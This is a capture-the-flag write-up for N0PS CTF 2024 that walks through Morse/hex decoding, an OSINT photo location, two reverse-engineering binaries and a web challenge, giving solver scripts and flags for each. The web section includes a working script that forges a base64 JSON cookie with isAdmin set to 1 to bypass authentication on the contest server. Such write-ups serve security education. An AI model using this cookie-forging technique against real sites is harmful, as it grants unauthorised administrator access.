N0PS CTF 2024 On this page https://ctftime.org/event/2358
CHALL’S SOLVED# Misc# Morse Me# Overview Author: algorab
Description: biiip biiip biiip biiip biiip bip biiip bip bip bip bip bip
challenge.txt
First misc challenge, given the plaintext containing morse-code
$ cat challenge.txt
....- ...-- -.... ..-. -.... . -.... --... --... ..--- -.... .---- --... ....- --... .- ..--- .---- ..--- ----- ..... ....- -.... ---.. -.... ..... ..--- ----- -.... -.... -.... -.-. -.... .---- -.... --... ..--- ----- -.... ----. --... ...-- ...-- .- ..--- ----- ....- . ...-- ----- ..... ----- ..... ...-- --... -... ....- -.. ...-- ----- --... ..--- ..... ...-- ...-- ...-- ..... ..-. ....- ....- ...-- ...-- -.... ...-- ...-- ----- -.... ....- ...-- ...-- ..... ..--- ..... ..-. ..... ----- --... ..--- ...-- ----- --... -..
We can immediately decode it using https://morsedecoder.com/
Morse decoded value:
436F6E677261747A212054686520666C61672069733A204E3050537B4D307253335F443363306433525F5072307D
Now, decode from Hex
$ python3
>>> val = '436F6E677261747A212054686520666C61672069733A204E3050537B4D307253335F443363306433525F5072307D'
>>> bytes.fromhex( val) .decode( 'utf-8' )
'Congratz! The flag is: N0PS{M0rS3_D3c0d3R_Pr0}'
FLAG N0PS{M0rS3_D3c0d3R_Pr0}
OSINT# Where Am I 1/3# Overview Author: algorab
Description: u will never find where i am lollz
Note: The flag is the name of the place in ASCII lowercase (no special character, no commas), words separated by dash (-). For instance, if the place is Musée du Louvre, the flag will be N0PS{musee-du-louvre}
.
img.jpg
It’s been a long time since I’ve done an OSINT challenge, but this time I just solved an easy one, hehe.
There are some details that match the photo in Google Lens
I found the place on Shutterstock about the Photo Description,
Photo Description
Stock Photo ID : 1063647680
Lisbon. Portugal. January 28, 2018. Aerial view of Commerce Square (Praca do Comercio)
And the final place is (Praca do Comercio)
FLAG N0PS{praca-do-comercio}
Reverse# Just Read# Overview Author: algorab
Description: Find a way to break this.
main
Decompiled of the main
function
int __cdecl main ( int argc , const char ** argv , const char ** envp )
{
bool v3 ; // bl
char * s ; // [rsp+18h] [rbp-18h]
s = ( char * ) argv [ 1 ];
v3 = s [ 22 ] == 125
&& s [ 21 ] == 116
&& s [ 20 ] == 78
&& s [ 19 ] == 49
&& s [ 18 ] == 95
&& s [ 17 ] == 115
&& s [ 16 ] == 116
&& s [ 15 ] == 105
&& s [ 14 ] == 98
&& s [ 13 ] == 56
&& s [ 12 ] == 95
&& s [ 11 ] == 115
&& s [ 10 ] == 49
&& s [ 9 ] == 95
&& s [ 8 ] == 114
&& s [ 7 ] == 52
&& s [ 6 ] == 72
&& s [ 5 ] == 99
&& s [ 4 ] == 123
&& s [ 3 ] == 83
&& s [ 2 ] == 80
&& * s == 78
&& s [ 1 ] == 48 ;
if ( ( v3 & ( strlen ( s ) == 23 )) != 0 )
puts ( "Well done, you can validate with this flag!" );
else
puts ( "Wrong flag!" );
return 0 ;
}
The flag is checked character by character, and the ASCII values of the characters are directly compared in the code. And the he ASCII values are compared in reverse order. If we convert these ASCII values to characters and reverse the order, we can get the flag.
Here’s the solver
1 ascii_values = [ 78 , 48 , 80 , 83 , 123 , 99 , 72 , 52 , 114 , 95 , 49 , 115 , 95 , 56 , 98 , 105 , 116 , 115 , 95 , 49 , 78 , 116 , 125 ]
2
3 characters = [ chr ( value ) for value in ascii_values ]
4 flag = '' . join ( characters [:: - 1 ])
5
6 print ( flag [:: - 1 ])
$ python3 solver.py
N0PS{ cH4r_1s_8bits_1Nt}
FLAG N0PS{cH4r_1s_8bits_1Nt}
Reverse Me# Overview Author: Simone Aonzo
Description: Don’t complain if you can’t see me, because I have to be reversed to make me run 🙃
img.jpg
Bro! why it must in .jpg
extension 🗿
Firstly, if we look at the last part of the hexdump value there is something like FLE
but if we reverse it it becomes ELF
, got em!
$ xxd img.jpg | tail
000037f0: 0000 0000 0000 001c 0000 0000 0000 0318 ................
00003800: 0000 0000 0000 0318 0000 0000 0000 0318 ................
00003810: 0000 0004 0000 0003 0000 0000 0000 0008 ................
00003820: 0000 0000 0000 02d8 0000 0000 0000 02d8 ................
00003830: 0000 0000 0000 0040 0000 0000 0000 0040 .......@.......@
00003840: 0000 0000 0000 0040 0000 0004 0000 0006 .......@........
00003850: 001c 001d 0040 000d 0038 0040 0000 0000 .....@...8.@....
00003860: 0000 0000 0000 3148 0000 0000 0000 0040 ......1H.......@
00003870: 0000 0000 0000 1310 0000 0001 003e 0003 .............>..
00003880: 0000 0000 0000 0000 0001 0102 464c 457f ............FLE.
So, here’s the value after we reverse all the bytes, and don’t forget to remove .jpg
extension.
1 input_file_path = 'img.jpg'
2 output_file_path = 'img'
3
4 with open ( input_file_path , 'rb' ) as file :
5 reversed_content = file . read ()[:: - 1 ]
6
7 with open ( output_file_path , 'wb' ) as reversed_file :
8 reversed_file . write ( reversed_content )
9
10 print ( f 'Done. \n File: { output_file_path } ' )
$ xxd img | head
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0300 3e00 0100 0000 1013 0000 0000 0000 ..>.............
00000020: 4000 0000 0000 0000 4831 0000 0000 0000 @.......H1......
00000030: 0000 0000 4000 3800 0d00 4000 1d00 1c00 ....@.8...@.....
00000040: 0600 0000 0400 0000 4000 0000 0000 0000 ........@.......
00000050: 4000 0000 0000 0000 4000 0000 0000 0000 @.......@.......
00000060: d802 0000 0000 0000 d802 0000 0000 0000 ................
00000070: 0800 0000 0000 0000 0300 0000 0400 0000 ................
00000080: 1803 0000 0000 0000 1803 0000 0000 0000 ................
00000090: 1803 0000 0000 0000 1c00 0000 0000 0000 ................
Now, lets try to decompiled it
void __fastcall __noreturn main ( int a1 , char ** a2 , char ** a3 )
{
int v3 ; // ebp
int v4 ; // er12
int v5 ; // er13
int v6 ; // ebx
__int64 v7 ; // rax
__int64 v8 ; // rax
__int64 v9 ; // r9
__int64 v10 ; // r8
char * v11 ; // rbp
__int64 v12 ; // [rsp-8h] [rbp-C0h]
char src [ 32 ]; // [rsp+20h] [rbp-98h] BYREF
char v14 [ 56 ]; // [rsp+40h] [rbp-78h] BYREF
unsigned __int64 v15 ; // [rsp+78h] [rbp-40h]
v15 = __readfsqword ( 0x28u );
if ( a1 == 5 )
{
v3 = strtol ( a2 [ 1 ], 0LL , 10 );
v4 = strtol ( a2 [ 2 ], 0LL , 10 );
v5 = strtol ( a2 [ 3 ], 0LL , 10 );
v6 = strtol ( a2 [ 4 ], 0LL , 10 );
if ( ( unsigned __int8 ) sub_1460 (( unsigned int ) v3 , ( unsigned int ) v4 , ( unsigned int ) v5 , ( unsigned int ) v6 ) )
{
v7 = ( unsigned int ) - v6 ;
if ( v6 > 0 )
v7 = ( unsigned int ) v6 ;
v12 = v7 ;
v8 = ( unsigned int ) - v5 ;
if ( v5 > 0 )
v8 = ( unsigned int ) v5 ;
v9 = ( unsigned int ) - v4 ;
if ( v4 > 0 )
v9 = ( unsigned int ) v4 ;
v10 = ( unsigned int ) - v3 ;
if ( v3 > 0 )
v10 = ( unsigned int ) v3 ;
__sprintf_chk ( v14 , 1LL , 42LL , "%d%d%d%d" , v10 , v9 , v8 , v12 );
qmemcpy ( src , & unk_2016 , 0x19uLL );
v11 = ( char * ) sub_1A50 ( src , 0x18uLL );
puts ( v11 );
free ( v11 );
exit ( 0 );
}
}
exit ( - 1 );
}
The main
function checks if it has exactly 5 arguments (including the program name itself). If not, it exits with a status of -1. If there are 5 arguments, it converts the next 4 arguments to integers using strtol
and checks if they satisfy a certain condition using the sub_1460
function.
__int64 __fastcall sub_1460 ( int a1 , int a2 , int a3 , int a4 )
{
unsigned int v4 ; // er8
v4 = 0 ;
if ( 3 * a4 + a3 + 4 * a2 - 10 * a1 != 28 )
return 0LL ;
if ( 9 * a2 - 8 * a1 + 6 * a3 - 2 * a4 == 72 && a4 + - 3 * a2 - 2 * a1 - 8 * a3 == 29 )
LOBYTE ( v4 ) = a3 + 5 * a1 + 7 * a2 - 6 * a4 == 88 ;
return v4 ;
}
The sub_1460
function checks if the four input integers satisfy four specific equations. If they do, it returns 1 (true), otherwise it returns 0 (false).
void * __fastcall sub_1A50 ( void * src , size_t n , __m128i * a3 , __int64 a4 )
{
__m128i v5 ; // rax
size_t v6 ; // rbx
unsigned int * v7 ; // rax
unsigned int * v8 ; // r12
__m128i * v9 ; // rbp
unsigned int v10 ; // er13
unsigned int v11 ; // ecx
unsigned int v12 ; // er10
unsigned int * v13 ; // rsi
int v14 ; // edi
unsigned int v15 ; // er8
unsigned int v16 ; // er9
__int64 v17 ; // rax
size_t v18 ; // rbx
void * v19 ; // r13
size_t * v20 ; // rax
__int64 v22 ; // rdx
unsigned int v23 ; // eax
_QWORD * v24 ; // rdx
unsigned __int64 v25 ; // rcx
unsigned int v26 ; // eax
unsigned int v27 ; // eax
unsigned int v28 ; // edx
__int64 v29 ; // rsi
size_t * v30 ; // [rsp+8h] [rbp-60h]
__m128i v31 ; // [rsp+10h] [rbp-58h] BYREF
unsigned __int64 v32 ; // [rsp+28h] [rbp-40h]
v30 = ( size_t * ) a4 ;
v32 = __readfsqword ( 0x28u );
v5 = * a3 ;
v31 = v5 ;
if ( v5 . m128i_i8 [ 0 ] )
{
if ( v5 . m128i_i8 [ 1 ] )
{
if ( ( v5 . m128i_i32 [ 0 ] & 0xFF0000 ) != 0 )
{
if ( ( v5 . m128i_i32 [ 0 ] & 0xFF000000 ) != 0 )
{
if ( v5 . m128i_i8 [ 4 ] )
{
if ( v5 . m128i_i8 [ 5 ] )
{
if ( v5 . m128i_i8 [ 6 ] )
{
if ( HIBYTE ( v5 . m128i_i64 [ 0 ]) )
{
if ( v5 . m128i_i8 [ 8 ] )
{
if ( v5 . m128i_i8 [ 9 ] )
{
if ( ( v5 . m128i_i32 [ 2 ] & 0xFF0000 ) != 0 )
{
if ( ( v5 . m128i_i32 [ 2 ] & 0xFF000000 ) != 0 )
{
if ( v5 . m128i_i8 [ 12 ] )
{
if ( v5 . m128i_i8 [ 13 ] )
{
if ( v5 . m128i_i8 [ 14 ] )
goto LABEL_16 ;
v22 = 15LL ;
}
else
{
v22 = 14LL ;
}
}
else
{
v22 = 13LL ;
}
}
else
{
v22 = 12LL ;
}
}
else
{
v22 = 11LL ;
}
}
else
{
v22 = 10LL ;
}
}
else
{
v22 = 9LL ;
}
}
else
{
v22 = 8LL ;
}
}
else
{
v22 = 7LL ;
}
}
else
{
v22 = 6LL ;
}
}
else
{
v22 = 5LL ;
}
}
else
{
v22 = 4LL ;
}
}
else
{
v22 = 3LL ;
}
}
else
{
v22 = 2LL ;
}
}
else
{
v22 = 1LL ;
}
v23 = 16 - v22 ;
v24 = ( __int64 * )(( char * ) v31 . m128i_i64 + v22 );
if ( v23 >= 8 )
{
* v24 = 0LL ;
* ( _QWORD * )(( char * ) v24 + v23 - 8 ) = 0LL ;
v25 = ( unsigned __int64 )( v24 + 1 ) & 0xFFFFFFFFFFFFFFF8LL ;
v26 = (( _DWORD ) v24 - v25 + v23 ) & 0xFFFFFFF8 ;
if ( v26 >= 8 )
{
v27 = v26 & 0xFFFFFFF8 ;
v28 = 0 ;
do
{
v29 = v28 ;
v28 += 8 ;
* ( _QWORD * )( v25 + v29 ) = 0LL ;
}
while ( v28 < v27 );
}
}
else if ( ( v23 & 4 ) != 0 )
{
* ( _DWORD * ) v24 = 0 ;
* ( _DWORD * )(( char * ) v24 + v23 - 4 ) = 0 ;
}
else if ( v23 )
{
* ( _BYTE * ) v24 = 0 ;
if ( ( v23 & 2 ) != 0 )
* ( _WORD * )(( char * ) v24 + v23 - 2 ) = 0 ;
}
LABEL_16 :
if ( ! n )
return 0LL ;
v6 = ( n >> 2 ) - ((( n & 3 ) == 0 ) - 1LL );
sleep ( 1u );
v7 = ( unsigned int * ) calloc ( v6 , 4uLL );
v8 = v7 ;
if ( ! v7 )
return 0LL ;
memcpy ( v7 , src , n );
sleep ( 1u );
v9 = ( __m128i * ) calloc ( 4uLL , 4uLL );
if ( ! v9 )
{
free ( v8 );
return 0LL ;
}
* v9 = _mm_load_si128 ( & v31 );
if ( ptrace ( PTRACE_TRACEME , 0LL , 1LL , 0LL ) == - 1 )
return 0LL ;
ptrace ( PTRACE_DETACH , 0LL , 1LL , 0LL );
v10 = ( n >> 2 ) - (( n & 3 ) == 0 );
if ( ( _DWORD ) v6 != 1 )
{
v11 = * v8 ;
v12 = - 1640531527 * ( 0x34 / ( unsigned int ) v6 + 6 );
do
{
v13 = & v8 [ v10 ];
v14 = v6 - 1 ;
v15 = v12 >> 2 ;
do
{
v16 = v13 [( unsigned int )( v6 - 2 ) - ( unsigned __int64 ) v10 ];
-- v13 ;
v11 = v13 [ 1 ]
- (((( 4 * v11 ) ^ ( v16 >> 5 )) + (( 16 * v16 ) ^ ( v11 >> 3 ))) ^ (( v16 ^ v9 -> m128i_i32 [(( unsigned __int8 ) v15 ^ ( unsigned __int8 ) v14 ) & 3 ])
+ ( v11 ^ v12 )));
v13 [ 1 ] = v11 ;
-- v14 ;
}
while ( v14 );
v11 = * v8
- ((( v12 ^ v11 ) + ( v9 -> m128i_i32 [ v15 & 3 ] ^ v8 [ v10 ])) ^ ((( 16 * v8 [ v10 ]) ^ ( v11 >> 3 ))
+ (( 4 * v11 ) ^ ( v8 [ v10 ] >> 5 ))));
* v8 = v11 ;
v12 += 1640531527 ;
}
while ( v12 );
}
v17 = 4 * v6 ;
v18 = v8 [ v6 - 1 ];
if ( v18 > v17 - 4 || v18 < v17 - 7 )
{
v19 = 0LL ;
}
else
{
v19 = malloc ( v18 + 1 );
memcpy ( v19 , v8 , v18 );
v20 = v30 ;
* (( _BYTE * ) v19 + v18 ) = 0 ;
* v20 = v18 ;
}
free ( v8 );
free ( v9 );
return v19 ;
}
If the condition is satisfied, the main
function then creates a string from the absolute values of the four integers, copies a certain memory region into a buffer, calls the sub_1A50
function with this buffer, prints the result, frees the allocated memory, and exits with a status of 0.
The sub_1A50
function seems to be a decryption function. It takes a source buffer and its size, and performs a series of operations on it, including a sleep operation, memory allocation and copying, and some bitwise operations.
To get the four integers in the sub_1460
function, the sub_1460
function checks if the four input integers satisfy the following four equations:
$$3a_4 + a_3 + 4a_2 - 10a_1 = 28$$ $$9a_2 - 8a_1 + 6a_3 - 2a_4 = 72$$ $$a_4 - 3a_2 - 2a_1 - 8a_3 = 29$$ $$a_3 + 5a_1 + 7a_2 - 6a_4 = 88$$ where (a1
, a2
, a3
, a4
) are the four integers we’re looking for.
1 from sympy import symbols , Eq , solve
2
3 a1 , a2 , a3 , a4 = symbols ( 'a1 a2 a3 a4' )
4
5 eq1 = Eq ( 3 * a4 + a3 + 4 * a2 - 10 * a1 , 28 )
6 eq2 = Eq ( 9 * a2 - 8 * a1 + 6 * a3 - 2 * a4 , 72 )
7 eq3 = Eq ( a4 - 3 * a2 - 2 * a1 - 8 * a3 , 29 )
8 eq4 = Eq ( a3 + 5 * a1 + 7 * a2 - 6 * a4 , 88 )
9
10 solution = solve (( eq1 , eq2 , eq3 , eq4 ), ( a1 , a2 , a3 , a4 ))
11 print ( solution )
$ python3 integers.py
{ a1: -3, a2: 8, a3: -7, a4: -9}
$ ./img -3 8 -7 -9
N0PS{ r1CKUNr0111N6}
FLAG N0PS{r1CKUNr0111N6}
Web# Web Cook# Overview Author: algorab
Description: The best recipes for a perfect website :p
https://nopsctf-web-cook.chals.io/
Next in web category challenge,
By the instructions on the web that we need to create a cookie with a JSON object, base64 encode it and then send it with request. The JSON object should have a key isAdmin
set to 1
. Here’s how we can do it.
1 import requests
2 import base64
3 import json
4 import re
5
6 url = 'https://nopsctf-web-cook.chals.io/'
7
8 data = { "username" : "Bagas Oli Samping" , "isAdmin" : 1 }
9 json_data = json . dumps ( data )
10
11 encoded_data = base64 . b64encode ( json_data . encode ()) . decode ()
12 cookies = { 'session' : encoded_data }
13 response = requests . post ( url , cookies = cookies )
14 print ( response . text )
15
16 flag = re . findall ( 'N0PS{.*}' , response . text )
17 print ( "FLAG:" , flag [ 0 ])
$ python3 solver.py
<!DOCTYPE html>
<html lang = "en" >
<head>
<meta charset = "UTF-8" >
<title>Recipe - PHP cooking</title>
<link rel = "stylesheet" href = "style.css" >
</head>
<body>
<header>
<h1>Cookie-based PHP authentication</h1>
<div id = "username-input" >
<h4>Hello Bagas Oli Samping!</h4>
</div>
</header>
<section class = "recipe-section" >
<div class = "recipe-card" >
<h2>Ingredients:</h2>
<ul>
<li>Fresh PHP</li>
<li>A cookie</li>
<li>Bad security skills flavour</li>
<li>Base64 ustensils</li>
<li>Minced JSON</li>
<li>Gullibility sauce</li>
<li>Internet hoven</li>
</ul>
</div>
<div class = "recipe-card" >
<h2>Instructions:</h2>
<ol>
<li>Use the Base64 to mix the cookie with the JSON. You should obtain a PHP array.</li>
<li>Use the fresh PHP seasoned with your gullibility to check if the isAdmin value of the cookie is set to 1.</li>
<li>Next, add your bad security skills flavour to give the flag.</li>
<li>Put it in the Internet hoven. After some minutes, you should see the results.</li>
</ol>
</div>
</section>
<div style = 'color:red' >You are an admin! Here is your flag: N0PS{ y0u_Kn0W_H0w_t0_c00K_n0W} </div>
</body>
</html>
FLAG: N0PS{ y0u_Kn0W_H0w_t0_c00K_n0W}
FLAG N0PS{y0u_Kn0W_H0w_t0_c00K_n0W}